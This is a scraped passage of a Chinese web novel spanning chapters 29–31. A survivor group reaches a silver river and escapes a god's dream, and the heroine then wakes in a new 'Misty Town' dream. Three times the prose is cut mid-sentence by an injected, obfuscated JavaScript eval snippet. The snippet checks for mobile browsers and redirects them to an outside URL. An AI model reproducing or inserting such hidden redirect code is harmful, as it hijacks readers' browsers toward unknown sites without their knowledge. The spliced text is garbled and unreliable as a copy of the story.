每个人的形象在她脑海里闪过。一个接一个被她排除选项。等等,林山的作用是引爆内讧,现在我们已经发现他被利用了,那他……就没有用处了。 没有用处的人,不如异变成怪物添乱。 连钰站在营地的一角,不知道她这句话算是对了。 此时此刻,卢卡听见身后的诡异问话后爽朗一笑,掏出手枪转身对着树丛就是一枪。 “你还想迷惑我?” 枪响后,树丛里有什么倒下的声音。卢卡往前查看,发现是一只眼眶空空,浑身泡出水的怪物。 是之前脱离队伍的人吧。 卢卡没有仔细辨别,他不关心半路逃跑的废物。他倒退两步就要离开,脚下踩到一颗噗叽出水的球状物。他没停下脚步,只是嘀咕了一句:“抱歉,你的眼睛被我踩烂了。” “卢卡,有情况吗?” “好着呢。” 他重新回到火光中,看见已经有怪物走进营地,篝火旁的守夜人已经掏出匕首战斗。距离太近,避免伤着自己人,他们放弃了用枪。 这些脱离队伍的人异化出的怪物实力较弱,有些速度较快的和人缠斗后不久也被击杀,速度较慢的则在一开始就被钳制。 就在卢卡觉得一切都在可控范围内时,他眼睁睁看着刚才还在敏捷战斗的守夜人扼住喉咙,在抽气声中咳出内脏,不到几秒就浑身皮肤脱落,变得和怪物所差无几。 祂用什么方法控制的?难道是这些战斗力不强的异变怪物吗? 卢卡细思极恐,在一个异变怪物扑来时闪开。他现在不确定怪物如何污染他们,可能是飞溅的□□,或者,一旦接近就会产生不可控的异变…… 闪躲的时候他脑海里闪过一个女孩的影像。 如果是她,应该能远程击毙他们…… 想到这,卢卡觉得这次赌约自己赢定了。 “我果然很幸运啊。”他轻笑一声,转身抽刀,将怪物的喉管割开。 这些怪物见到他都不躲,实在弱得可怜,都不用找核晶在哪就能杀死。 怪物倒下时,嘴巴大张,发出“嗬嗬”的声音,身体还在抽搐。卢卡没空查看是不是死透了,反正别人看见了肯定会补刀,接着迅速解决另一个侧边靠近他的怪物。 转身后他发现,不知不觉剩下的三只怪物都围在他身边,其余人等大概是去别的地方支援了?毕竟之前传出响动的方向应该怪物更多吧。 卢卡能活到现在,靠的不光是加幸运值,他的身手就能跻身一流行列。就像有的人怎么都学不会数学,有的人看到数字第一眼就看出特性,卢卡属于天生的战斗直觉敏锐。 “放马过来。” 他的发丝在火光照映下更加耀眼,单只眼也不影响他对于距离的判断。 然而等他一刀一个,解决了两只怪物后,剩下的一只怪物让他觉得有些难缠。更奇怪的是,卢卡恍惚间觉得怪物……似乎是在认真战斗。 怎么会有这种错觉,之前的怪物都是来不及防备就被杀死的,这一只让他有些疑惑。 当啷。 他的骰子掉落在地,鲜红的一点格外显眼。 没事,我不需要幸运加持,这个怪物我能解决。卢卡内心这么想着,在对面怪物张嘴要扑咬时,将匕首插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370275|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -入它的喉咙。 卢卡甩甩脑袋,他觉得事情不太对。这次的怪物一点特殊能力都没有,和百年前人类制作的丧尸影片里的形象相差无几,和昨晚的完全没法相提并论。 他低头拾起骰子,鲜红的一点上又多了一个红点。 是他鼻腔滴落的血。 要异变了吗?那个小姑娘怎么还没来?卢卡踉跄了一步,双臂收拢抱住自己。他的皮肤瘙痒得厉害,就像是要有什么东西破土而出。 之前异变的守夜人皮肤脱落了,他也会变成那样吧。 动作间,骰子再次掉落在地,这次是他最喜欢的六点。但他没力气拾起。 “噗。”一声极细微的风声后,卢卡捂住心脏仰面倒下。 原来这次的幸运是让小姑娘及时解决我。卢卡看着夜空,缓缓露-出一个微笑,可还没等他闭眼等待死亡,一声惊呼将他快消散的思绪扯回现实。 “小山!” 小山来了吗? “小山……不是来支援的吗,怎么会……”是何老板的声音。 他没见到小山啊。 卢卡费力地扭动脑袋望向篝火处。 这一看,他几乎血液凝固,甚至忘记了胸口的疼痛。 刚刚一起守夜的两个人……林山……还有几个是附近帐篷的。他们中大多数人喉管被切开,鲜血染红了身下的土地。 “不……”一个猜想几乎让他难以接受。 “你看见,我的骰子了吗?”一个熟悉的小男孩声音在他耳边响起,可没有小男孩在他身边。他锈住了的脑筋动了下,想起来这是自己小时候的声音。 骰子没有丢。 骰子给他带来了幸运。 不、不对…… 卢卡没有办法继续思考骰子是否出了问题,他的心脏停止了跳动。 连钰收起枪,默默走到了赶来的人身边。 她凭借视力先一步击杀卢卡,就如他们约定好的。但她没想到,出问题的会是卢卡,她以为会是赶回去的小山。 她扫视四周,尸体身上都是致命伤。这些人……都是被熟人杀死的。卢卡没有像他自己猜的那样异变,而是产生了幻觉。 因为有人脱离队伍,何雁的队伍人数已经不多。留在这里战斗力最高的卢卡突然背刺队友,自相残杀,让何雁的队伍只剩下了楚明锋小队以及何雁和莉莉两人。 何雁一动不动地看着逐渐失去温度的尸体,接连的死亡让她这样惯于冷漠的人也哑口无言。 “这里为什么会有骰子?”连钰捡起掉落的骰子,疑心这样物品和这里的乱局有关。 “那是卢卡的,他的异能很特别,是掷点数加幸运值。”何雁涩涩地开口,“以往他都是较为幸运的那个……”可是今晚不是。 掷点数…… 连钰看着临死前望向尸堆的卢卡。他一定投掷骰子了。 可是这次,幸运女神没有眷顾他。异能是唯一不会欺骗他的东西了,连钰周围的人除非身体状况太差,比如她窥视天空后,否则都能使用异能。 投骰子,将自己的命运交给天意?这比走剧本还要随心所欲啊。 卢卡突然杀死队友,在临死前似乎还看出了真相……这样的悲剧,怎么都不能算作幸运。 卢卡不够幸运。卢卡的异能出错。可是异能不会有错。 连钰转动骰子的手指一顿。 如果,卢卡一直以来根本没有觉醒异能呢? 29. 绿日时代(29)抵达银河 连钰在自己冒出这种想法后悚然一惊,但控制不住继续思考。她越想越觉得卢卡不是没有觉醒异能,就是异能根本不是所谓的掷骰子加幸运点数。 目前为止,她见过的异能大多跟元素有关,队长的控风、江汾的控木和小荣的金属强化都在此行列,比较特殊的是何雁的精神暗示。 硬要把卢卡的幸运归作一类,可能接近于何雁的精神类,然而何雁的精神暗示完全不借助任何道具。 这很难说卢卡自称拥有的幸运异能是骰子带来的,还是自己拥有的。 亦或者,他根本就是被误导认为自己能够靠掷骰子获取幸运。 连钰想到初见卢卡时,在白茶落,许多人都热衷于打赌……这背后会不会有操手推动? “这枚骰子,就留给卢卡吧。”一向默不作声的江汾突然开口,连钰有些讶异于他主动建议。 江汾接过骰子,仿佛自言自语道:“依我的感觉,它没什么特别的。” 连钰一震,知道他是在暗示自己,但是江汾没有往下说,直接把骰子扔进了焚烧尸体的火堆。所谓加幸运值的道具,在此刻,和枉死的人在高温里逐渐化为灰烬。 这一-夜,剩余的几人不约而同地收拾东西,没有在营地停留。如果是前几晚的状况,他们可能还会等到标准时间六点再出发,但今晚只剩下他们几人,帐篷空了好几顶,再留下去实在没有必要。 何雁和楚明锋简单商量后决定半夜启程。 在绿日时代梦境里,无论是深夜还是白天,大地都被连钰曾经窥-探到的“界”笼罩,黑暗无处不在。什么时候上路,没什么区别。 楚明锋的越野车里很沉默,大概他自己也没想到最后会真的只剩下这么些人,连何雁的亲信都因为卢卡莫名其妙出现幻觉被杀,自己人死在了自己人手里。 身手好的小荣分去了何雁的车里,保护没有攻击性手段的何雁和莉莉。于是,连钰和江汾一同在后座守着。 据楚明锋所说,他们大约会在标准时间七点前抵达银河,前提是没有意外出现。他还说,连钰与其守着前排,不如去守着江汾。 “他可是个宝贝,我们受伤,都不能让他受伤。” 连钰:懂,团队奶爸,我一个远程就是做t都得帮他抗伤害。 江汾大约是看出了连钰对他的好奇,主动伸-出右手,掌心冒出一刻两厘米高的嫩芽。 他示意连钰摸一摸,连钰试探地触碰了一下。在触碰的那刻,她感到有种特殊的感觉。就好像……她知道江汾此刻的身体状态良好。 “你也能知道我是什么状态吗?” “嗯。所有体内有我的嫩芽的人,都能被我探知身体状况。”江汾笑得温和,但在连钰眼里他的形象变得格外高大。 “那你岂不是既可以救人,又能掌控一定信息……” 神异能啊!怎么我这个幸运E,异能都只是视力进化。 连钰再一次感到羡慕。 [喂,能不能给我安排个厉害的定位啊?] [你礼貌吗,上来就索取定制剧本。] 留声机大约是第一次遇到理直气壮这么要求的,有些卡壳,但很快就怼回去。 但是连钰经过这段时间的扮演,已经逐渐变成了老油条的形状,听到这话后也不怵,反正大不了就是扮演,都是被玩弄,再差能差哪去。 [我不礼貌,你也没礼貌到哪去,彼此彼此。] [……这么拽,让你做个公主吧。] [什么时候啊?] [等时机成熟吧,公主殿下。] 留声机懒懒地说完后就跟掉线了一样,怎么戳都不回了。连钰听他的口吻就知道这家伙在憋坏,不过她也不慌,再怎么样……能差过人类异化同类内讧朝不保夕? 江汾见连钰若有所思,也不追问。嫩芽钻回他的手心,他目光前移,和正从后视镜观察的楚明锋恰好对上眼神。 两人在江汾礼貌性微笑后都挪开视线,仿佛有种默契。 在连钰感到快要熬不住的时候,一道雾气挡在了两辆车行驶的前方。她心中一凛,瞌睡虫瞬间被赶跑,但瞥到队长如常的脸色后又心神稍定。 “快到了,这道雾气后就是那条河。” 连钰之前打听过,银河在永昼城几乎是不能提及的存在。一方面是因为官方明令禁止接近,另一方面是种种传闻侧面证实了官方的禁令是避免让人枉送性命。 然而,现在看来,根本就是那位存在故弄玄虚。从前在银河消失的人也许是被怪物所杀,但也有可能侥幸在这儿寻到了线索。 祂的恶趣味或许就是让人在绝望和希冀之间反复横跳。 连钰觉得,就算这里有什么传送门,让他们踏入就传送回永昼城,被扔进温室一层一层地闯关,她都不稀奇了。在这个给永昼城城主开bug级别外挂的梦境里,人类处于不能反抗的弱势一点也不让人意外。 所谓的人类生存出口,极有可能是个幌子。 “楚队,继续前进吧。”楚明锋的对讲机里传来何雁的声音。 “嗯,从这里开始就不会太平了,你们当心。”楚明锋应答后就启动了车辆。 两辆越野车一前一后驶入和森林交织看似巨兽的迷雾中。 车行驶得很慢,连钰瞅了眼表盘,指针压到20了。 人在高度紧张后一段时间回明显感到疲惫。连钰一直保持警戒,但根据她精力消耗的速度来看,她觉得他们在迷雾中应该行驶了有相当一段时间。 她深吸一口气,鼓起勇气打破平静:“队长,这里太安静了。” 刻意压低的声音在此刻都如抛进水面的石子,在车内溅起一圈涟漪,晃得让人心慌。 “你们喝了能量液,喝完了再困就掐自己。”楚明锋听后扫视了后座,提醒道。 接着,他补充了一句:“我们进入迷雾不过十分钟。” 十分钟! 连钰因为这个数字惊醒,但立刻感到困倦。这种困倦来得蹊跷,她心里提防着,却还是不由自主滑向睡梦深渊。 她迅速拧开一听能量液灌入嘴中。清凉略辛辣的液-体滑入喉管,进入胃部,只让她稍微清醒些,但她知道用不了几分钟她就又会困倦。 “别担心,”楚明锋看出了后座两人的不安,“能量液用尽时,我们就到了。” “那何老板她们?” “有小荣照顾,不会有事。况且何老板的家底可比你想得厚实。” 连钰闻言放心不少,这一呼出气,她就感到疲倦再一次袭来。 是气体吗? 这雾气不光起到遮挡视线,降低速度的作用,还让人不知不觉陷入昏睡。说不定,还会有致幻效果。 连钰一边掐着手臂内-侧,一边逼迫自己思考。脑子转得快的时候,困倦会消散些许,但是一停止高速运转,困倦程度就会加倍。 连钰不得已,开始启 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423238|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用自己的能力。眼眶微热之时,她惊讶地发现前方竟然是一片坦途。很快,她想到了其中关窍。果然,又是祂爱玩的把戏。 “队长,我们没必要这么慢。直接往前开就好,我已经……看到银河了。” 银河如名字一般漂浮着银色光屑,和楚明锋之前给连钰用过的水里漂浮的一模一样。 众人下车后,哪怕是再有心理准备的人,都会呼吸一窒,被眼前的美景所吸引。 “难怪这条河叫作银河。”小荣上前一步,更清楚地看见河水在黑夜下泛着银光,其中流泻的银色如碎银一般,顺着河水流入不知名的远方。 连钰沉默。将这条河流唤作人类久而未见的银河,大概是寄托了希望吧。 可是人类在探索几次失败后就放弃了,其中虽然有祂捣鬼的因素,但也不免让人叹息。 也就是仗着是自己的梦境了,那位存在才胡作非为。连钰不相信现实里人类会真的放弃。 何雁环顾四周,靠近楚明锋说道:“那么,楚队你之前提到的留下的船只在哪儿?” 楚明锋调整好腕表后道:“在东边几百米处。” 队长之前来过?他来过银河又平安离开? 楚明锋转身,嘴角微抿。 “抱歉,之前一直没有说。在成为队长之前,我也曾是队员。一次任务里,我所在的小队误入了禁-区,只有我生还。永昼城给出的解释是我们在附近遇到了难以解决的怪物,鬼使神差地跳过我,在这之后又让我独自带领小队。” 连钰心中恍然。所以队长才会怀疑一切是受某位存在控制。否则没法解释为什么进入禁-区却无人在意。只有可能是官方明知真相但依然放任他查询。 连钰代入了祂的视角,觉得祂大概是这么多年没看见人类反抗,感到无趣。 身后传来枯枝踩断的声音。何雁正要提议沿着河岸寻找船只,就听见一向安安静静的莉莉突然尖叫,长时间不说话的嗓子此时听起来格外凄厉。 “大姐姐,快走!” 何雁本有些疲惫的心神顿时一凛,踉跄着边转身边退了几步,好让楚明锋挡在自己身前一个身位。 然而,莉莉所喊的大姐姐不是她。 楚明锋身旁站着的连钰第一反应是保护何雁,却在右撤几步后才发现目标错误。 “咳……” 小荣在心口被洞穿后难以抑制地口吐鲜血,右手握住心口钻出的一抹绿色,左手反手抽出匕首向后一划。 江汾凭借小荣对他的不设防才能接近并一击就中,但反应速度完全比不上小荣。匕首轻而易举从他的左脸划至喉咙,只是伤口不深。 江汾嘴唇微动,似是说了些什么,但轻到连楚明锋都没捕捉到内容。 连钰和楚明锋立刻上前,一个接住小荣,另一个狠狠制住江汾。 这时,两人才发现江汾手心的嫩芽长成一根藤条那么长,将他的手心和小荣心口链接。 小荣在连钰怀内费力地扭头看向江汾,鲜血染红了她的笑容。她抽出右手,狠狠地斩断藤条。 这一次,藤条应声而断,而楚明锋扼住的江汾也仿若被掐断了生命一般,自手心开始皲裂。 他整个人如风干的泥娃娃,剥落了外面的那层皮,流出的鲜血却不多,只是打湿了白色的衣襟。 他再次张口,却无力言语。 楚明锋痛恨之下就要下杀手,但心口同样阵痛,眼前一黑摔在了地上。 30. 绿日时代(30)余晖 正在查看荣倩倩伤势的连钰同样眼前一黑,双手撑地,眼前的景象也开始变模糊。 连钰的四肢百骸都开始抽痛,就像身体的筋络被抽走。她终于撑不住跌坐在地,被何雁扶住。而她怀里的小荣则拒绝了莉莉的搀扶,自己直起身爬向了江汾。 江汾此刻已经皲裂开,暴露-出里面异化的形状。不知是异化的人都是如此,还是只有他体内的血肉经脉都形似烧焦的树枝。皮肤掉落后,里面还有细小的黑色枝桠在扭动,似乎随时都会复苏暴起。 此时的江汾已经看不出人的模样,而楚明锋恰巧又暂时失去了对敌能力。 黑色的枯枝在小荣接近时就竖起了身子,然而还没等它有所动作,小荣就拼尽全力用匕首狠狠刺向江汾原本心脏所在。 匕首寒光一闪,金属色泽在一瞬间亮到极致。人形的黑色物质全身喷吐-出一口雾气,像是无声的嘶吼,但是被匕首死死地钉在了地上,难以动弹,最终挣-扎几下就没了动作。 异化后的产物像根死去的树干躺在原地。小荣捂住心口,竟踉跄着站了起来,单手拖拽着黑色的东西向银河走去。 莉莉想开口阻拦,被何雁拦住。 何雁已经不确定自己还有谁可以相信。楚明锋的小队几乎是一瞬间就失去了全部战力,她的直觉告诉她应让那个女孩自己走,自己静观其变。 楚明锋慢慢缓过气。他头晕摔倒之时听见了连钰那里的声响,阵痛之余他大概猜到,他们两个突然出状况可能是因为之前江汾使用异能为他们治疗。 江汾死去,他们体内维系生命的嫩芽也随之而亡。 好在楚明锋之前接受治疗时伤势就已经有所恢复,状况比连钰要好一些。 他支起身体,略微艰难地向连钰移动。何雁怀里的连钰没有睁眼,眼角却流下几行无法抑制的血泪,裸-露在外的肌肤全是血痕。 楚明锋心中微叹,知道他们两个坚持到这,已经迎来终局。 他吩咐何雁看好连钰,自己追随小荣的脚步来到银河边。 河面上星星点点的银色碎屑漂浮,水温柔地流动着,缓缓淹没女孩的头顶。 楚明锋站在岸边,眼望着小荣沉下去,颤-抖着低喃一句:“再见。” 片刻后,他若有所感看向小荣消失的地方,自己走入银河。冰凉的河水浸-透了作战服,河水里的银屑犹如活物般在他周身游走,他游向那处,手掌一抓,在河面捞起了一块晶莹剔透的物事。 那是一颗透明干净的心。 楚明锋沉默游回河岸。刚才这一趟又耗费了他不少气力,他微微喘息,看向何雁时却有所收敛。 “……走吧。” 何雁诧异地看楚明锋接过连钰,有所不忍。 “我来搂着她吧。” “不必,很快就到。” 连钰任由旁人搀扶自己,她不知道自己在走向何方。眼前只有一片血色,很快血色也消失不见,归于一片深沉的黑色。 她知道自己看不见了。 可是黑色的幕布上,渐渐出现一条闪烁着银光的线条,她隐约感觉,那就是他们沿着走的银河。 [检测到任务者生命力消逝。是否现在开始作答?] [是。] 连钰深吸一口气,口腔里满是铁锈味。她略微思考后便将自己查探到的一一说出。 绿日时代是永昼城城主的梦境,人类被界之上的怪物囚禁于此,与太阳和外界彻底隔绝。永昼城城主是维持界的怪物掉落下的一颗眼珠,生来爱戏耍人类…… 她觉得自己说了很久,有一半时间都在啰嗦重复,前言不搭后语。可是留声机却轻声笑了。 [任务完成。你在这个梦境的身体快要死亡了,不过不必担心,只要任务完成,你就不会真的死。] [我知道。可我还有一个问题。] [说说吧,看我想不想回答。] [……那个存在,在我们附近吗?] 连钰问的是梦主,也是一直以来在这个梦境里戏耍他们的存在。在梦境这种颠倒秩序、毫无道理可言的地方,那个怪物就像是神祗一般高高在上,让她从头到尾都窝囊极了。 [在哦,一直都在。] 留声机的语气愉悦极了,在“好心”回答后又下线不见。 连钰茫然地睁开眼,眼前仍是漆黑,只能看见一条银色。 她扭头“看”向搀扶自己的队长,只感受到他关心的视线,再转头看向正在赶路的何雁她们,也是一无所获。 没有。没有奇怪的能量波动了。 那祂究竟在哪? “我们到了。” 楚明锋大概是以为连钰着急,低头温柔说道。 接着,连钰感到自己踩在了晃荡的船面。她听见楚明锋探出身体,在小船附近取下一样东西,“叮当”一声后又恢复了安静,只有船桨划水声。 “顺着河流往下,就是出口。”楚明锋吞下一口血沫说道。 何雁体力保持最好,负责划桨。连钰躺在楚明锋的怀里,脸朝夜空,再一次看见了那个让人禁不住诱惑一次又一次窥-探的酮体。 界之上,祂闭眼沉睡,身躯如山峦般厚重绵延。尽管界之上的存在和永昼城城主,大概是难以用性别界定的,但连钰直觉觉得界之上的那位是位女性。 祂霸占了这一片土地,蛮横地将人类困住,却让连钰看着祂的时候,难以吐-出恶言。 “别看,”楚明锋的手掌遮住连钰双眼,“我们就要离开了。” 连钰没有力气打开他的手,只好说:“真的会离开吗?” “会。” 楚明锋将她的手握成拳头,和她碰拳。 “你会离开这里。” 连钰展开手,勾住楚明锋的尾指后合上眼。 她大概明白了莉莉的世界是什么样。失去视力以后,她逐渐能感受到能量波动,但可惜没有时间让她成长到看清每个人的能量。她现在能看见的,除了银河,就只有自己。 但很快,也许是一瞬,也许是一小时,或者更久,随着无法感知的时间流逝,她的世界里剩下的两处光亮也逐渐黯淡。 [下个梦境见。]连钰临死之时,留声机终于温柔了一次。 [……不想见你。] 然而连钰意识快要消散,即将登出,一不留神说秃噜了嘴。 下一秒,世界彻底黑暗。 楚明锋抱着失去呼吸的女孩,过了许久,他说道:“你带着莉莉走。一直往前,不要回头。” “记住,只能走河道。” 他抱着女孩下船,原本手边的风灯也被他递给了何雁。 风灯下的机关里装着他放进去的那颗透明的心,里面的火焰悬浮在空中一明一灭。 何雁发现到了这时,她一个字也说不出,只能沉默地看着楚明锋抱着女孩留在岸边。 楚明锋在脱力前将连钰的身体轻柔放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439632|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至地面,泥泞的岸边一刻不停地被银色的河水冲刷,水流裹挟着女孩的发丝像是在挽留。 接着,他终于支撑不住,手肘一抖,跌倒在地。辽阔的夜空没有一颗星星,楚明锋静静地躺着,感受体内的核晶在某一刻噼啪破碎。 他已经习惯了死亡登出,对于他而言,这次的任务远算不上完成,可是他不害怕。 他心底隐隐有种感觉,或许,在留声机的默许下,他们还会再见。 他握住女孩的手,缓缓合上双眼。 悦耳的水流声里,何雁不知道自己划了多久。期间莉莉曾表示自己可以替换一阵子,被她拒绝。 在楚明锋等人死去后,那位背后操纵一切的存在好心停止了一切把戏,但她不敢冒险浪费一分一秒。 在她感到心脏都要累到爆炸时,河道变得狭窄。何雁观察到河水里的银色碎屑逐渐变多,甚至在木浆翻动时漂浮至低空,在她们周身打圈。 漫天的银色碎屑宛如发光的雪花,温温柔柔地浮起又落下,打着圈笼罩住两人。何雁一瞬间被眼前的美景所吸引,眼睛像承受不了碎屑的光亮一般感到微微干涩。 “姐姐,前方……” 莉莉被恶人剜了眼睛后觉醒了感知能量波动和隐藏气息的异能,何雁至今没弄清楚这两样能力如何同时出现在失明女孩的身上。 此时,莉莉呼吸急促,手指微微颤-抖指向河流的远方。 “姐姐,前方是不是有怪物,有一团很强的能量。” 何雁从一瞬的美梦惊醒,猛地抬头看向前方,却被刺得眼睛发痛。 可她没有闭眼。 她漆黑的眼瞳在色彩映照下接近琥珀色。随着船只顺水而下,她们的身体越来越温暖。 “不,这是,太阳。” 这是真正的太阳。绝不是永昼城里宣称保护人类身体、净化环境污染的绿日系统。 远方的天空是如火烧的赤橘色。 天空在此处割裂成两半,落日的余晖洒落河面。 在看见火烧般的天空后,何雁的身体也像要烧起来了。 浸-透着霞光的金色自皮肤渗透入体内,让她四肢百骸都注入一阵阵暖流。 她的五脏六腑翻滚着,她从未像现在一样饥饿。 莉莉仰起稚嫩的脸庞,睁大了空洞的双眼,用自己的方式看见了世间所有涌动的能量。 她从未见过这么多的能量,五彩斑斓的。 莉莉低声道:“这个世界是活的。” 银河至此断流,何雁拉着莉莉跳进一片乱石堆滩涂。 她们歪歪扭扭地踩着石头,钻进快人高的草丛,一时间迷了路。 但何雁没有停下脚步。 她们的身后,连钰和楚明锋在漂浮的银色光点里相拥而眠。风灯微微晃动,其中的火焰在某一刻蹿到顶点,随后缩小又缩小,噼啪一声散落成光点。 何雁拉着莉莉走上河岸。 她看着女孩懵懂的脸庞,作出一个口型。 再见。 之后她放眼望向许久未见的红日,绚烂的晚霞终于还是逼迫她的眼眸分泌出泪水。 一阵嗡鸣声停在她的头顶。 “监测到不明身份人物。请表明身份。” 何雁没有抬头,说道:“一个罪人。” 我是罪人。 她在心中重复。 接着,她抽出腰间匕首,在机器声响起前扎向自己的心口。 31. 迷雾小镇(1)奇怪的家人 床上的女孩睁开双眼,入目是木质的悬梁和像凉席一样的简易窗帘。 她扫视一圈,房间里的装饰很简单,简单到只有一张她正躺着的床、一套竹色的桌椅和衣柜。 屋子看上去有些年头了,就像农村老家一样。 等等,老家?她的老家是哪里…… 女孩有些头疼。她刚刚做了一个很长很长的梦,梦里她似乎失去了熟悉的一切,空荡荡的天地间只有黑暗和跳跃的光点。 怪极了。 “吱呀——” 略旧的木门被推开,果然不可避免地发出一点声响,在安静的房间里格外明显。 “姐姐你醒啦!” 床上的女孩早就看向门的方向,刚醒来的她还没看清来人是谁,就被小炮弹一样冲过来的女孩扑了个正着。 “姐姐你睡了好久,早上吃饭爸还问妈你怎么样呢。”扑过来的女孩抬头,脸蛋上的绒毛在映射进来的薄薄阳光下清晰可见,酒窝盛了蜜一样甜。 “你是我妹妹?” 可惜床上的女孩对这个笑容甜美的姑娘完全没印象。 “啊对,妈说你应该失忆了,果然是啊……” “那可不可以现在告诉我,我叫什么?”床上的女孩有些无奈。 “小锦你起来点儿,别压着你姐。” 一个挽着发髻穿着蓝花布衫和黑裙子的妇女走进屋,手里还端着一碗冒着热气的粥。 被叫做小锦的女孩吐吐舌头,乖巧让到一边。 “小玉,现在感觉怎么样?”妇人把碗放在小桌子上,转向床上的女孩。 女孩对妇人喊自己的名字感到一点熟悉,觉得这应该就是自己。 “正好,粥还有点烫,我给你讲讲。” 从中年妇人的口中,女孩得知自己是这家人的大女儿梁玉,在前天晚上外出失忆。刚刚扑过来的可爱女孩是她妹妹梁锦。 “妈,”梁玉喊出口后顿一下,接着说,“那我为什么会失忆,是有人袭击了我?” 梁妈摇摇头。 “你要记住了,月亮生气时,是不可以出门的。从前跟你说过,你不听。这下好了,什么都忘了。” 月亮……会生气? 大概是梁玉惊诧的表情太明显,梁妈白了她一眼。 “你这孩子,真是什么都不记得了。行了,醒了就赶紧下来吧。躺了这么多天,总得活动活动。” 梁玉虽然还有疑惑,但识相地没有追问。待人走后端起粥,一口一口慢慢吃完。 皮蛋瘦肉粥的味道很不错,梁玉吃得很干净,觉得自己好像很久没吃过这么美味的食物。 她放下勺子,瓷器相撞的当啷声将她从思考中惊醒。 奇怪,为什么我会觉得很久没吃了,我只是昏迷了两天。 我现在为什么会控制不住思绪,一直要思考有的没的…… 她揉揉脑袋,觉得自己果然还是被谁袭击了。不然脑子怎么坏了。 可梁玉顺着有些阴暗的木质楼梯下楼,越发觉得周围的一切陌生。 木质结构的楼房在没有光的角落散发出淡淡的霉味,屋角窗口挂有黄铜色风铃,风一吹就丁零当啷地轻响。 走廊里挂着小孩子的涂鸦之作,很有童趣。梁玉注意到大多数都是她画的,右下角写有“梁玉”。她仔细看过,遗憾地发现没有触动自己的记忆。 梁玉回头看了下刚刚下来的楼梯,她住的应该是二层往上的小阁楼。她的房间下来就是二楼,两侧都有门,可能是爸妈和妹妹的房间。 她走了几步,又从楼梯下去,一眼就望见了在饭桌旁的戴眼镜男人和妹妹。 他们大概是刚吃完午饭,梁玉看见妈妈在来回收拾碗筷,想上前帮忙,被男人叫住。 “刚醒就急着干活做什么,坐下吧。” 男人身形偏瘦,眼角有很多皱纹,但能看出来年轻时候相当帅气。就是说话硬邦邦的,还喜欢压低嗓子,让人听了皱眉。 梁玉顺从地坐下,正好看见男人身后的房门开着,里面有床有柜子,东西很多,看衣架挂着的衣服是男款,像是夫妻两人的卧室。 那二楼的房间是做什么的? 梁玉又开始强迫性思考,她的一言不发让男人误以为是冷淡。男人从鼻子里出气哼了一声。 “你没事干去隔壁路叔叔家走动,老路是个老木匠,你跟着学点东西也成,别在家闲着。” 梁玉有点奇怪,但面上没表现出来,只是点点头。 手艺人一般不随便外传当家本事,她爸这一说好像别人多走走就能学会一样…… 梁锦闻言睁大眼睛,但没吱声。 被梁父训了一会儿后,梁玉借口去隔壁家,终于逃过一劫。梁锦跟着她出来,给她塞了块芝麻糕。 梁锦见梁玉一愣,说:“你吃,一碗粥肯定吃不饱,那粥就是早上剩那么一点儿,都不够一碗。” 梁玉咬了口掉渣的芝麻糕,没忘记用手接,慢慢品细腻的甜味。 妹妹是好心给零食,但她觉得哪里不对劲。 “妈说你早该醒了,谁知道你睡了两天。你睡过去是不知道,还是我帮你擦的脸呢。” 女孩调皮地吐吐舌头,像是给姐姐邀功撒娇。梁玉却一怔。 为什么妈妈那么肯定我会早醒,明明我是“偷跑”出去,她应当不知道我在外面的经历,就那么肯定我身体没问题。 还有那碗粥。 昏迷中的人没法吃喝,她醒来的时候不仅头晕脑胀,更是饿得没力气拦扑过来的梁锦。 但是妈妈就在自己醒的时候端来了粥,而不是看自己醒了再给吃的。 就像是知道我那时候会醒…… 梁玉吃完芝麻糕,看着妹妹说谢谢。梁锦立刻说谢什么谢,一块糕而已。 梁玉转过头,不想让梁锦看见自己的表情猜到什么。 隔壁和梁家只隔了一条细窄的小巷,两家人都是扎的篱笆,很容易看见院子里的情况。不同的是,路家的篱笆还攀着喇叭花,蓝的白的粉的都有,一眼望去,在这条街上都很惹眼。 这条街都是青石板路,房屋有高有矮,粉墙黛瓦,和带着潮气的石板路很搭。 “小锦来了?” 院子里刨木头的男人笑呵呵招呼她们进来,就是眼神让梁玉不舒服。 路大叔很热情地倒了茶水,就是眼睛时不时从少女的领口转一圈,梁玉一眼就看透他在心里想什么。 梁锦像毫无察觉,捧着茶杯道:“姐姐病好了,我爸叫她来您这多看看。” 女孩没把话说很直白,但路大叔肯定听懂了。有门技术的不缺拜师的,但路大叔这儿没看见什么徒弟,估计要不是个惯会拿乔的,要不就是压根不收。 梁玉因为第一印象不好,已经开始看这男的不顺眼。不过下一秒,她就知道为什么人不收徒。 “路远!来带你隔壁妹妹出去聊!” 